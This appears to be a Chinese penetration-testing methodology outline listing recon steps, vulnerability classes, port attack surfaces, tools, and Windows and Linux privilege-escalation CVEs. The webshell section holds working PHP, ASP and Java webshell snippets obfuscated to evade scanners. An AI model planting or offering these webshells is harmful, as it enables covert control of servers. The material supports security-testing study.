渗透测试(黑盒)流程大纲

声明：不保证是完整+正规化的渗透测试流程大纲

内容都是东拼西凑的，有问题自行百度解决

更新地址：https://github.com/reallys/pentest

目录

        - 2.信息猜解
        - 3.数据猜解
        - 4.认证信息泄漏
        - 5.认证信息猜解
        - 6.认证功能失效
        - 7.认证功能滥用
        - 8.业务逻辑篡改
        - 9.业务功能失效
        - 10.业务功能滥用
        - 11.防护功能失效
        - 12.防护功能缺失
        - 13.防护功能滥用
        - 14.权限缺失
        - 15.权限篡改
        - 16.综合利用
        - 17.专项漏洞
    - 系统漏洞
        -
            - 1.端口漏洞
            - 2.Windows漏洞
            - 3.linux漏洞
    - 数据库漏洞
        -
            - 1.mssql
            - 2.DB2
            - 3.PostgreSQL
            - 4.CouchDB
            - 5.Oracle
            - 6.MongoDB
            - 7.redis
            - 8.MySQL
            - 9.SyBase
- 漏洞扫描
    -
        - web应用扫描
            -
                - 1.Awvs
                - 2.BurpSuite
        - 系统漏洞扫描
            -
                - 1.Nessus
                - 2.Nmap
        - 数据库漏洞扫描
            -

        - 1.Scuba
    - 弱口令漏洞扫描
        -
            - 1.hydra
            - 2.SNETCracker
- 后渗透阶段
    -
        - webshell
            -
                - 1.木马分类
                - 2.查杀现状
                - 3.php绕过技巧
                - 4.jsp绕过技巧
                - 5.asp绕过技巧
        - 系统提权
            -
                - 1.windows漏洞提权
                - 2.linux漏洞提权
                - 3.windows常规提权
                - 4.linux常规提权
        - 数据库提权
            -
                - 1.mysql
                - 2.sqlserver
                - 3.oracle
                - 4.mongodb
        - 端口转发
            -
                - 1.lcx
                - 2.nc
                - 3.socks代理
                - 4.bash反弹
                - 5.MSF后门反弹
        - powershell
            -
                - 1.常用功能
                - 2.netcat功能
                - 3.文件打包
        - mimiktz
            -
                - 1.powershell或cmd执行
                - 2.用.net2.0加载mimikatz
                - 3.js加载mimikatz
                - 4.msiexec加载mimikatz
                - 5..net4.0加载mimikatz

        - 6.JScript的xsl版
        - 7.jscript的sct版
        - 8.内存中加载mimikatz
        - 9.导出lsass进程离线读密码
    - wmic
        -
            - 1.常用命令
    - psexec
        -
            - 1.常用命令
- 权限维持
    - 渗透框架
        -
            - 1.metasploit
            - 2.empire
            - 3.cobalt strike
    - 中间件
        -
            - 1.mysql
            - 2.iis
            - 3.php
            - 4.apache
    - windows
        -
            - 1.影子账户
            - 2.映像劫持
            - 3.userinit注册表
            - 4.计划任务
    - linux
        -
            - 1.软连接
            - 2.wrapper后门
            - 3.计划任务
            - 4.ssh公钥免密
    - 痕迹清理
        -
            - 1.windows缓存
            - 2.linux缓存
            - 3.跳板
- 编写渗透测试报告
    - 渗透报告

前期交互

制定计划

1.测试要求

> 黑盒测试/白盒测试 （白盒很少遇到基本代码审计）

2.测试范围

> 与客户确认测试网站的具体范围（所有互联网目标，单个网站，新上线业务系统）

3.测试周期

> 根据目标范围和客户沟通商定时间

信息收集

基本信息收集

1.whois

- whois信息获取关键注册人信息(注册公司,注册邮箱,管理员邮箱,管理员联系手机)
- whois信息查询同一注册人注册的其他域名(域名对应的NS记录,MX记录)
- 常用工具
  - chinaz
  - whois命令

2.子域名

- 主站的防御很强,子站可作为突破口
- 子域名搜集的完整,可以挖到的漏洞就更多

- 工具/方法
  - fofa等引擎
  - DNS区域传送漏洞
  - subDomainsBrute
  - seay子域名工具

3.旁站C段

- 可以把目标站点所在服务器上其他站点作为突破点
- 通过目标所在C段的其他机器,跨到我们的目标机器上
- 常用的工具
  - webscancc
  - Nmap
  - K8C段

4.邮箱收集

- 邮件服务器的真实位置，邮件服务器自身错误配置
- 利用搜索引擎或社工库查看有无泄露密码,搜集邮箱（发送钓鱼攻击等）
- 常用的工具
- theharester
- 社工库

5.cms类型

- 根据目标CMS，利用相关的漏洞
- CMS识别可根据网页关键字；URL特征；Meta特征；Script特征；robots.txt；网站路径特征；网站静态资源；爬取网站目录信息；
- 常用的工具
  - 云悉
  - nosec

6.敏感目录/文件

- 用扫描器扫描目录，字典越强扫描结果越多
- 主要扫出网站的管理员入口，一些敏感文件,是否存在源代码泄露
- 常用的工具
  - 御剑
  - dirb
  - DirBrute

7.端口/服务器信息

- 得到的端口越多，可得到的漏洞越多
- 扫描之前可使用telnet先简单探测下某些端口是否开放，避免使用扫描器而被封IP，根据端口可得到对应服务版本后搜索对应版本的漏洞
- 常用的工具
  - Nmap
  - masscan

8.waf/cdn

- 探测目标是否存在WAF，WAF识别一般是基于headers头信息例如
- 判断是否存在CDN,只要在不同地区进行ping检测就可以得知，
- 绕过CDN获取真实IP的方法，如通过二级域名
- 常用的工具
- 多地点ping
- 网站测速-站长工具
- waf00f

深度信息收集

1.敏感文件

- 1.hack语法

    - site:anylab.com filetype:xls
- 云网盘
    - 盘搜搜
- github

2.敏感路径

- fuzz字典
- 网页源代码
- js文件
- burp爬虫

3.业务系统

- 1.微信公众号,小程序
- 2.舆情业务信息监控通过添加“baidu.com上新产品”关键字获取关键信息"

4.敏感信息

- QQ群/微信
- 论坛社区
- 云网盘
- 客服电话

5.高级引擎

- fofa
- shodan

漏洞分析及利用

应用漏洞

1.信息泄漏

- 1.robots.txt泄漏敏感信息
- 2.敏感文件信息泄漏
- 3.过时的、用于备份的或者开发文件残留
- 4.报错页面敏感信息泄漏
- 5.物理路径泄漏
- 6.明文密码本地保存
- 7.入侵痕迹残留
- 8.HTTP头信息泄漏
- 9.目录浏览
- 10.默认页面泄漏
- 11.存在可访问的管理后台入口

- 12.存在可访问的管理控制台入口
- 13.参数溢出
- 14.任意文件下载

2.信息猜解

- 1.邮件内容中请求链接可预测

3.数据猜解

- 1.账号枚举
- 2.账号密码共用

4.认证信息泄漏

- 1.传输过程泄漏
- 2.会话变量泄漏

5.认证信息猜解

- 1.存在弱口令
- 2.存在暴力破解

6.认证功能失效

- 1.存在空口令
- 2.认证绕过
- 3.Oauth认证缺陷
- 4.IP地址伪造

7.认证功能滥用

- 1.多点认证缺陷
- 2.会话固定

8.业务逻辑篡改

- 1.密码修改/重置流程跨越
- 2.负值反冲
- 3.正负值对冲
- 4.业务流程跳跃

9.业务功能失效

- 1.通配符注入

10.业务功能滥用

- 1.短信定向转发
- 2.邮件可定向转发

- 3.业务接口调用缺陷
- 4.IMAP/SMTP注入
- 5.引用第三方不可控脚本/URL
- 6.开启危险接口
- 7.未验证的URL跳转
- 8.服务器端请求伪造（SSRF）
- 9.短信内容可控
- 10.请求重放攻击
- 11.批量提交

11.防护功能失效

- 1.账号弱锁定机制
- 2.图形验证码可自动获取
- 3.图形验证码绕过
- 4.短信验证码绕过
- 5.短信验证码可暴力破解
- 6.参数覆盖
- 7.关键逻辑判断前端验证

12.防护功能缺失

- 1.Cookie属性问题
- 2.会话重用
- 3.会话失效时间过长

13.防护功能滥用

- 1.恶意锁定问题
- 2.短信炸弹
- 3.邮件炸弹

14.权限缺失

- 1.Flash跨域访问
- 2.jsonp跨域请求
- 3.未授权访问

15.权限篡改

- 1.任意用户密码修改/重置
- 2.SSO认证缺陷
- 3.越权
- 4.Cookies伪造
- 5.会话变量可控
- 6.跨站请求伪造（CSRF）

16.综合利用

- 1.跨站脚本攻击（XSS）
- 2.FLASH跨站脚本攻击
- 3.HTTP响应分割
- 4.HTTP参数污染
- 5.Host头攻击
- 6.SQL注入
- 7.NoSQL注入
- 8.LDAP注入
- 9.XML注入
- 10.XXE
- 11.XPATH注入
- 12.命令注入
- 13.任意文件上传
- 14.反序列化漏洞

17.专项漏洞

- 1.Web组件（SSL/WebDAV）漏洞
- 2.中间件相关漏洞
- 3.第三方应用相关漏洞
- 4.第三方插件相关漏洞
- 5.开发框架
- 6.通用型系统

系统漏洞

1.端口漏洞

端口	描述	攻击面
21	ftp/tftp/vsftpd文件传输协议	（1）基础爆破、（2) ftp匿名访问（3）后门vsftpd（4）嗅探（5）ftp远程代码溢出
22	ssh远程连接	(1)弱口令以及爆破（2）防火墙SSH后门（3）28退格 OpenSSL（4）CVE-2018-15473
23	Telnet远程连接	（1）暴力破解（2）嗅探（3）弱口令
25	25（smtp）	（1）爆破：弱口令（2）未授权访问
465	465（smtps）	(1）爆破：弱口令（2）未授权访问
53	DNS域名解析系统	（1）DNS远程溢出漏洞（2）DNS欺骗攻击（3）拒绝服务攻击

端口	描述	攻击面
67	dhcp服务	（1）中间人攻击
68	dhcp服务	（1）中间人攻击
80	web服务	（1）针对流量的嗅探（2）web程序漏洞（3）端口复用（单端口多服务)（4）CC攻击
135	RPC服务	（1）溢出漏洞（2）弱口令
110	pop3	（1）密码爆破（2）嗅探漏洞（3）溢出攻击
139	Samba服务	（1）溢出攻击（3）IPC$渗透）（4）利用共享获取敏感信息
143	Imap协议	（1）爆破（2）缓冲区溢出漏洞
161	SNMP协议	（1）爆破（2）弱口令（3）进入可获取配置和运行信息
389	Ldap目录访问协议	（1）CLDAP ReDDoS漏洞（可获取配置信息等）
445	smb	（1）溢出攻击（3）IPC$渗透（4）可利用共享获取敏感信息（5）代码执行漏洞
512/513/514	Linux Rexec服务	（1）爆破/Rlogin登陆（2）syn泛洪攻击
873	rsync服务	（1）文件上传(2）rsync未授权访问
1080	socket	（1）爆破
1352	Lotus domino邮件服务	（1）爆破（2）信息泄漏
1433	mssql	（1）溢出漏洞（2）暴力破解（3）嗅探（4）注入（5）弱口令
1521	oracle	（1）爆破（2）SQL注入（3）反弹shell（4）TNS爆破
2049	NFS服务	（1）配置不当导致未授权
2181	zookeeper服务	（1）ZooKeeper未授权访问漏洞
2375	docker	（1）Docker 未授权访问漏洞
3306	mysql	（1）弱口令（2）嗅探（3）注入（4）爆破
3389	Rdp远程桌面	（1）输入法漏洞（2）嗅探（3）Shift粘滞键后门（4）爆破（5）ms12_020死亡蓝屏攻击（7）Dos攻击
4848	GlassFish控制台	（1）弱口令（2）认证绕过（3）爆破
5000	sybase/DB2数据库	（1）爆破（2）注入（3）提权
5432	postgresql	（1）爆破（2）缓冲区溢出（3）远程代码执行（4）弱口令（5）注入

端口	描述	攻击面
5632	pcanywhere服务	（1）PcAnyWhere提权（2）代码执行
5900	vnc	（1）密码验证绕过漏洞（2）嗅探（4）拒绝服务攻击（5）权限提升
6379	Redis数据库	（1）爆破（2）弱口令（3）未授权访问+配合ssh key提权
7001/7002	weblogic	（1）弱口令、爆破（3）SSRF（4）反序列化漏洞
80/443	http/https	（1）常见web攻击（2）控制台爆破 （2）对应服务器版本漏洞
8069	zabbix服务	（1）远程命令执行（2）注入
8161	activemq	（1）弱口令（2）写文件
8080/8009	Jboss/Tomcat/Resin	（1）Tomcat远程代码执行漏洞（2）Tomcat任意文件上传（3）Tomcat远程代码执行&信息泄露（4）Jboss远程代码执行（5）Jboss反序列化漏洞（6）爆破
8083/8086	influxDB	（1）未授权访问
9000	fastcgi	（1）远程命令执行
9090	Websphere控制台	（1）爆破（2）java反序列化（3）弱口令
9200/9300	elasticsearch	（1）远程代码执行
11211	memcached	未授权访问
27017/27018	mongodb	（1）爆破：弱口令（2）未授权访问

2.Windows漏洞

- CVE-2017-0148
- CVE-2019-0708
- CVE-2017-7269
- MS08-067
- CVE-2017-8543
- CVE-2018-8495
- ms17010
- ms11058
- CVE-2017-8464

- CVE-2019-0788

3.linux漏洞

- CVE-2017-7494
- CVE-2007-2447

数据库漏洞

1.mssql

- 爆破
  - 弱口令/使用系统用户
- 注入
- CVE-2005-4145
- CVE-2008-5416

2.DB2

- CVE-2014-0907DB2执行提权漏洞
- CVE-2013-6744 DB2权限控制不当导致提权发生
- CVE-2015-1922安全限制绕过

3.PostgreSQL

- 弱口令
- CVE-2014-2669

4.CouchDB

- Couchdb权限绕过漏洞

5.Oracle

- 弱口令
- 注入攻击
- 漏洞攻击

6.MongoDB

- 弱口令
- 未授权访问

7.redis

- 弱口令
- 未授权访问+配合ssh key提权

8.MySQL

- 身份认证漏洞
- CVE-2012-2122
- 拒绝服务攻击

9.SyBase

- 弱口令
- 命令注入

漏洞扫描

web应用扫描

1.Awvs

- web应用漏洞扫描
- 蜘蛛爬行
- 目标探测
- 子域名探测
- SQL盲注测试
- HTTP请求编辑器
- HTTP嗅探工
- HTTP模糊测试
- 认证测试
- WEB WSDL扫描测试

2.BurpSuite

- 爬虫工具
- web漏洞扫描
- 可自行编写插件
- 配合字典进行深度挖掘
- web爆破
- SSRF等漏洞测试

系统漏洞扫描

1.Nessus

- 系统和web漏洞扫描
- Nessus可同时在本机或远程控制
- 可自行定义插件
- 完全支持SSL

2.Nmap

- 主机发现功能
- 端口扫描
- 服务及版本检测
- 操作系统检测
- 漏洞扫描

数据库漏洞扫描

1.Scuba

- 数据库进行安全漏洞扫描和配置缺陷扫描
- 支持的数据库类型

```
Oracle Database、Microsoft SQL Server、SAP Sybase、IBM DB2、Informix 、MySQL
```

弱口令漏洞扫描

1.hydra

- 支持的类型

```
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET,
HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC,
LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES,
RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion,
Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码
```

2.SNETCracker

- 支持的类型

```
SSH、RDP、SMB、MySQL、SQLServer、Oracle、FTP、MongoDB、Memcached、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、
POP3_SSL、IMAP、IMAP_SSL、SVN、VNC、Redis等服务的弱口令检查工作
```

后渗透阶段

webshell

1.木马分类

- 大马
  - 体积大：包含木马的所有功能，由于支持的功能较多并且需要单文件支持
  - 调用系统函数：通常会调用系统的关键函数，如asp的fos对象，如php的exec、system等
  - 隐藏性：代码加密、混淆等等一大堆

- 小马
  - 只包含上传文件功能
  - 体积小
- 一句话木马
  - 基于B/S结构，仅仅用于向服务端提交控制数据subtopics
  - 代码简短，通常只有一行代码
  - 使用灵活，可以作为单独的文件也可以插入正常的文件
  - 免杀方式多，如混淆，包含，字符替换等"
- 逻辑木马
  - 利用系统逻辑漏洞或构造特殊触发条件
  - 绕过访问控制或执行特殊功能的Webshell
- 单/少功能木马
  - 能完成写入文件、列目录、查看文件
  - 执行一些系统命令等少量功能的Webshell

2.查杀现状

- php
  - eval函数

```
PHP 4, PHP 5, PHP 7+ 均可用，接受一个参数，将字符串作为PHP代码执行
```

  - assert函数

```
PHP 4, PHP 5, PHP 7.2 以下均可用，一般接受一个参数，php5.4.8版本后可以接受两个参数
```

  - 正则匹配类

```
preg_replace/ mb_ereg_replace/preg_filter等
```

  - 文件包含类

```
include/include_once/require/require_once/file_get_contents等
```

- java
  - 敏感变量名

```
如"cmd"、"spy"、"exec"、"shell"、"execute"、"system"、"command"等
避免Runtime对象的exec()方法执行
```

- asp
  - 敏感函数

```
Eval、Execute、ExecuteGlobal
```

3.php绕过技巧

- 字符串变形函数

```
base64_encode()  字符串base64编码
urlencode()   字符串url编码
str_replace()  替换字符串中的一些字符（对大小写敏感）
strrev()   反转字符串
```

- 数组包裹

```
如D盾对于外部$a($b)这种格式比较敏感，但是对于[$a($b)]这种包裹的就不能识别了
```

- 垃圾代码填充

```
填充无用的字符即可
如下代码
<?php
$index='hack.html'
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$index = 'index.html';
$a=urldecode('%61%73%73%65%72%74');
$b=urldecode("%5f%47%45%54");
$c=${$b}['mr6'];
$a($c);
?>
```

- 类调用

```
把执行的混淆的内容都放到类里
```

- 回调函数

```
php官网有函数手册
举例：
a.callable
b.mixed $options
c.invoke
```

4.jsp绕过技巧

- 字符串拆解重组

```
将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理，由字节转为字符串
```

- 使用Scanner接收回显

```
接收命令回显数据时，避免使用BufferedReader等常见手段
```

- 用fileSeparator来判断操作系统类型

```
一般使用System.getProperty/getProperties获取操作系统的类型，这里使用路径分隔符简单判断，然后再选用"cmd /c"或者"/bin/bash -c"来执行命令
```

- 不导入过多的包
- 使用java反射机制绕过检测

```
反射机制调用Runtime类exec方法执行系统命令示例代码
String op = "";
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process e = (Process) ex.invoke(gr.invoke(null, new Object[]{}),  "cmd /c ping www.baidu.com");
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);
```

5.asp绕过技巧

- 填充垃圾数据插入特殊字符串绕过

```
利用注释符
利用'%>和'<%分别闭合前后标签
填充大量垃圾<%%>标签，且最后文件体积大小要合适
必须要在一定位置插入至少一个<??>字符串
```

- 使用标签绕过

```
示例
<%
<!--"-->
execute request("LandGrey")
%>
```

- 请求判断/request变量替换

```
示例
<%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %>
示例
<%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>""
then execute session("LandGrey")%>
```

- 编码

```
使用UTF-7编码脚本
使用VBScript.Encode功能编码脚本
```

系统提权

1.windows漏洞提权

漏洞	影响
CVE-2019-0803	Windows 7/8/10/2008/2012/2016/2019
CVE-2018-8639	Windows 7/8/10/2008/2012/2016
CVE-2018-1038	Windows 7 SP1/Windows Server 2008 R2 SP1
CVE-2018-0743	Windows 10 version 1703/Windows 10 version 1709/Windows Serverversion 1709
CVE-2018-8453	>= windows 8.1
CVE-2018-8440	windows 7/8.1/10/2008/2012/2016
CVE-2017-8464	windows 10/8.1/7/2016/2010/2008
CVE-2017-0213	windows 10/8.1/7/2016/2010/2008
CVE-2018-0833	Windows 8.1/Server 2012 R2
CVE-2018-8120	Windows 7 SP1/2008 SP2,2008 R2 SP1
CVE-2017-0101	windows 7/8
MS17-010	windows 7/2008/2003/XP
MS16-135	2016/2012 R2/2012/2008 R2/Windows RT 8.1/Windows 8.1/Windows 7/Windows 10
MS16-111	Windows 10 10586 (32/64)/8.1

漏洞	影响
MS16-098	Win 8.1
MS16-075	2003/2008/7/8/2012
MS16-034	2008/7/8/10/2012
MS16-032	2008/7/8/10/2012
MS16-016	2008/Vista/7
MS16-014	2008/Vista/7
MS15-097	win8.1/2012
MS15-076	2003/2008/7/8/2012
MS15-077	XP/Vista/Win7/Win8/2000/2003/2008/2012
MS15-061	2003/2008/7/8/2012
MS15-051	2003/2008/7/8/2012
MS15-015	Win7/8/8.1/2012/RT/2012 R2/2008 R2
MS15-010	2003/2008/7/8
MS15-001	2008/2012/7/8
MS14-070	2003
MS14-068	2003/2008/2012/7/8
MS14-058	2003/2008/2012/7/8
MS14-066	VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1
MS14-040	2003/2008/2012/7/8
MS14-002	2003/XP
MS13-053	XP/Vista/2003/2008/win 7
MS13-046	Vista/2003/2008/2012/7
MS13-005	2003/2008/2012/win7/8
MS12-042	2008/2012/win7
MS12-020	2003/2008/7/XP
MS11-080	2003/XP
MS11-062	2003/XP
MS11-046	2003/2008/7/XP
MS11-011	2003/2008/7/XP/Vista
MS10-092	2008/7
MS10-065	IIS 5.1, 6.0, 7.0, and 7.5
MS10-059	2008/7/Vista

漏洞	影响
MS10-048	XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7
MS10-015	2003/2008/7/XP
MS10-012	Windows 7/2008R2
MS09-050	2008/Vista
MS09-020	IIS 5.1 and 6.0
MS09-012	Vista/win7/2008/Vista
MS08-068	2000/XP
MS08-067	Windows 2000/XP/Server 2003/Vista/Server 2008
MS08-066	Windows 2000/XP/Server 2003
MS08-025	XP/2003/2008/Vista
MS06-040	2003/xp/2000
MS05-039	Win 9X/ME/NT/2000/XP/2003
MS03-026	/NT/2000/XP/2003

2.linux漏洞提权

漏洞	影响
CVE_2018_18955	Linux kernel 4.15.x through 4.19.x before 4.19.2

漏洞	影响
CVE_2018_100001	glibc <= 2.26
CVE-2017-1000367	Sudo 1.8.6p7 - 1.8.20
CVE-2017-1000112	a memory corruption due to UFO to non-UFO path switch

漏洞	影响
CVE-2017-16995	Linux kernel before 4.14 - 4.4
CVE-2017-16939	Linux kernel before 4.13.11
CVE-2017-7494	Samba 3.5.0-4.6.4/4.5.10/4.4.14
CVE-2017-7308	Linux kernel through 4.10.6

漏洞	影响
CVE-2017-6074	Linux kernel through 4.9.11
CVE-2017-5123	Kernel 4.14.0-rc4+
CVE-2016-9793	Linux kernel before 4.8.14
CVE-2016-5195	Linux kernel>2.6.22 (released in 2007

漏洞	影响
CVE-2016-2384	Linux kernel before 4.5
CVE-2016-0728	3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
CVE-2015-7547	before Glibc 2.9
CVE-2015-1328	3.13, 3.16.0, 3.19.0

漏洞	影响
CVE-2014-5284	2.8
CVE-2014-4699	before 3.15.4
CVE-2014-4014	before 3.14.8
CVE-2014-3153	3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1

漏洞	影响
CVE-2014-0196	2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15
CVE-2014-0038	3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1
CVE-2013-2094	3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9
CVE-2013-1858	3.3-3.8

漏洞	影响
CVE-2013-1763	before 3.8.3
CVE-2013-0268	2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6
CVE-2012-3524	libdbus 1.5.x and earlier
CVE-2012-0056	2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0

漏洞	影响
CVE-2010-4347	2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
CVE-2010-4258	2.6.31, 2.6.32, 2.6.35, 2.6.37
CVE-2010-4073	2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
CVE-2010-3904	2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36

漏洞	影响
CVE-2010-3437	2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
CVE-2010-3301	2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
CVE-2010-3081	2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33
CVE-2010-2959	2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36

漏洞	影响
CVE-2010-1146	2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
CVE-2010-0415	2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
CVE-2009-3547	2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
CVE-2009-2698	2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19

漏洞	影响
CVE-2009-2692	2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30
